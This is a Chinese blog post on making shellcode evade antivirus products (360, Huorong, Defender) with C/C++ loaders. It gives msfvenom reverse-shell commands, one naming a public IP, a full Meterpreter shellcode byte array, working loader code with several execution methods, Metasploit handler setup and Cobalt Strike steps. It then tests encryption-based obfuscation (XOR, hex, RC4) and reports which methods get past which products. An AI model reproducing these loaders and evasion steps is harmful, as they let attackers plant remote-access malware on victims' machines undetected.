Shellcode免杀对抗(C/C++)

这篇具有很好参考价值的文章主要介绍了Shellcode免杀对抗(C/C++)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Shellcode C/C++免杀,绕过360安全卫士、火绒安全、Defender

C/C++基于cs/msf的上线

首先是测试一下shellcode上线,主要是俩种方法

测试环境

攻击机:kali2023

靶机:win10

msf方法

首先是启动msf

msfconsole

然后msf生成一个shellcode代码

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.141 
lport=6688 -f c

或者是x64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.178.141 LPORT=6688 -f c 

注意这里的x64不同在后面如果没有使用对应的编译环境,可能会造成无法上线

这里生成的一个payload,将其编译实现上线

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

下面就是运行的c文件基本格式,每次使用替换其中的shellcode即可

#include <Windows.h>
#include <stdio.h>
#include <string.h>
​
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
​
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xb2\x8d\x68\x02\x00"
"\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
​
int main()
{
    //方式一:指针执行
   /* ((void(*)(void)) & buf)();*/
​
    //方式二:强制类型转换
    //((void(WINAPI*)(void))&buf)();
​
    //方式三:申请动态内存加载
    /*char* Memory;
    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();*/
​
    //方式四:嵌入汇编加载
    //__asm {
    //lea eax,buf
    //call eax
    //}
​
    //方式五:汇编花指令
    //__asm{
    //mov eax, offset shellcode
    //_emit 0xFF
    //_emit 0xE0
    //}
}

注意上面说到小细节,我并没有使用x64所以是x86的,选择Release,否则影响上线结果

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

成功生成exe文件

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

接下来打开msf的监听功能

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.178.141 //kali的地址或者全ip 0.0.0.0
set lport 6688
run

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

把exe文件放到靶机运行,成功监听

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

cs方法

先开启cs

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

win10打开cs

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

选择之前配置好的监听器,注意这里是x64,后面编译的时候要使用x64编译

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

之后打开.c文件是一个未编译代码,放到上文的编译代码中,注意这里是x64编译,用的方式三,使用.c文件

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

上传并运行生成的exe文件,发现成功上线

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

免杀开始

原理

shellcode相对于可执行文件更改更容易,不易损坏

先通过汇编,运行

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

我们可以通过分析一下这个exe文件时如何上线到正确的地址的,这里联系msf源码中的windows的reverse_tcp.rb进行分析

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

可以看出在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址

从执行代码中可以看出,运行玩call eax 才能调用buf

  • lea eax, buf:这是一条汇编指令,它的作用是将 buf 的地址加载到 eax 寄存器中。lea 指令不是真正意义上的加载,而是计算出 buf 的地址,但是不进行内存访问。

  • call eax:这是一条汇编中的调用指令,它的作用是调用 eax 寄存器中所存储的地址对应的函数。在这里,eax 寄存器中存储的是 buf 的地址,所以实际上是调用了 buf 所代表的函数。

这段代码的具体作用取决于 buf 所指向的内容,因为它实际上是间接调用了一个函数。

  __asm {
    lea eax,buf
    call eax
    }

将生成的exe文件拖入debug程序中,进行分析,开启自动步入

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

只有运行完call eax 才能出buf的内容,找到 call ebp,下面一个就是ip

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

16进制转ip,发现是我们kali的ip

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

下面是16进制转10进制,得到端口

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

这里便是杀毒软件杀毒的原理,这就是特征,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,如果杀毒软件发现我们的可执行文件是一个木马程序。

特别的像360会上传可疑文件到沙盒进行测试,有时候你上传的木马在监听的时候,可能会有别的ip被监听,这就是沙盒测试

免杀手法测试

找到最好的方法,对杀毒工具进行测试

换加载器

加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。

可以理解为上面的代码除了shellcode就是加载器

因为我们的加载器的特征,各平台杀毒软件都有了已经,所有我们就要用新的,特征没有被锁定

我在网上找了几个加载器试了一下,基本上都过不去

比如说,这几个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
int main()
{
    char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
        "\x45\x81\x3e\x43\x72\x65\x61\x75"
        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
        "\x6c\x63\x89\xe2\x52\x52\x53\x53"
        "\x53\x53\x53\x53\x52\x53\xff\xd7";
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc , LOCALE_SYSTEM_DEFAULT, (DWORD) 0);
}

还有这个

//#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
​
​
int main()
{
    char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
        "\x45\x81\x3e\x43\x72\x65\x61\x75"
        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
        "\x6c\x63\x89\xe2\x52\x52\x53\x53"
        "\x53\x53\x53\x53\x52\x53\xff\xd7";
    HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, shellcode, sizeof(shellcode));
    
    EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA) hAlloc,LGRPID_SUPPORTED,0);
}

估计是放网上都被用烂了,各个平台早就锁定了,要是代码能力好,还是自己写

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

ShellCode 变异-编码混淆加密算法

Xor Aes Hex Rc4 Rsa 等,可以是网上的加密代码,也可以自己写(自己写肯定是最好的)

1.网上的工具

GitHub - Arno0x/ShellcodeWrapper: Shellcode wrapper with encryption for multiple target languages

先cs来一个shellcode

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

文件重命名然后运行脚本

python2 shellcode_encoder.py -cpp -cs -py shellcode.raw swq xor

编译加密后的代码,运行文件火绒和360都没过

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

2.我师傅给我编写的工具(工具就不发出来了)

可以过火绒和360

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

3、Hex

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117

lport=6688 -f c

CyberChef

https://github.com/ByPassAVTeam/ShellcodeLoader

可以过火绒和360,但是过不了defender

4、Rc4

网络信息安全:RC4加密算法的实现_采用rc4_256加密算法 保证了重要数据在传输过程中的完整-CSDN博客

加密强度很高,惊讶于可以过火绒

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

也可以过360,但是三分钟之后就不行了,估计360沙盒测试没了

Shellcode免杀对抗(C/C++),网络安全,linux,服务器

把defender也过了

以上工具仅供参考,但是过几个月甚至几天后,就被各个平台锁定了文章来源地址https://www.toymoban.com/news/detail-836617.html

到了这里,关于Shellcode免杀对抗(C/C++)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】渗透测试之木马免杀

    博主昵称:跳楼梯企鹅 博主主页面链接: 博主主页传送门 博主专栏页面连接:

    2024年02月02日
    浏览(32)
  • 网络安全中的POC、EXP、Payload、ShellCode

    POC:概念证明,即概念验证(英语:Proof of concept,简称POC)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其目的是为了验证一些概念或理论。 在计算机安全术语中,概念验证经常被用来作为0day、exploit的别名。 EXP:利用(英语:Exploit,简称EXP)

    2024年02月11日
    浏览(32)
  • 162.网络安全渗透测试—[Cobalt Strike系列]—[Veil免杀]

    1 Veil的使用 (1)Veil主要用于生成:免杀payload (2)下载地址:https://github.com/Veil-Framework/Veil (3)安装过程:https://blog.csdn.net/qq_53079406/article/details/126192511 2 生成有效载荷payload 选择payload Generator 选择Veil 不要选择 x64可能出错。不要打勾就可以了。 3 Veil免杀过程 运行veil 在终

    2023年04月23日
    浏览(33)
  • 银行网络安全实战对抗体系建设实践

    党的十八大以来,将网络安全提升到前所未有的新高度,银行牢牢把握国家网络安全战略目标,已加强自身建设,建立了较为完善的安全防护体系。同时随着国际网络安全攻防对抗升级,银行转变思路、主动作为,从被动防守向主动防御、动态防御转型,聚焦传统攻防演练的

    2024年01月21日
    浏览(40)
  • 网络安全实战对抗中的观察与思考

    在本次攻防演练的过程中,绿盟科技M-SEC社区监测并确认了上百个漏洞在被积极利用,其中0day和1day漏洞的数量较往年有所提升,但nday漏洞依然是主力。 近日,一场行业瞩目的大型实战化网络安全攻防演练活动落下帷幕,在这场没有硝烟的博弈中,攻击方一路攻城掠寨,防守

    2024年02月09日
    浏览(33)
  • 贵阳大数据及网络安全精英对抗赛-解题赛WP

    (没写几题,就记录一下,misc写的基本都是佬们打爆的几题,就不写了 (如果有佬出了rust的flag,求佬告诉我一下orz,太菜了,没运行出来,验证不了flag,麻烦佬们告诉下orz) 观察程序,其中有base64、rc4、DES算法, 函数主要逻辑:输入一串字符,前一位和后一位异或,再rc4加密

    2024年02月05日
    浏览(33)
  • AI大模型时代网络安全攻防对抗升级,瑞数信息变革“下一代应用与数据安全”

      AI与大模型技术加速普及,安全领域也在以创新视角聚焦下一代应用安全WAAP变革,拓展新一代数据安全领域。近日瑞数信息重磅发布了瑞数全新API扫描器、API安全审计、数据安全检测与应急响应系统及分布式数据库备份系统四大新品。此次发布在延续瑞数信息Bot自动化攻击

    2024年02月06日
    浏览(48)
  • 免杀入门---shellcode免杀

            本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。         免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。         市面上的杀毒软件基本由扫描器、病毒特征

    2024年02月02日
    浏览(55)
  • Python-shellcode免杀分离

    MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=6688 -f c CS-payload: 攻击--生成后门--payload生成器--选择监听器和输出格式为C语言 python 3.10-32位,注意python解释器一定要切换为32位 将shellcode填入,run即可上线,payload均为32位 #Python-混淆加密-Base64AES反序列化等 pyt

    2024年02月07日
    浏览(34)
  • ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具

    ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器、Shellcode_encryption - 免杀Shellcode加密生成工具,目前测试免杀360火绒电脑管家Windows Defender(其他杀软未测试)。 该项目仅供网络安全研究使用,禁止使用该项目进行违法操作,否则自行承担后果,请各位遵守《中华人民共和国网络

    2024年02月04日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包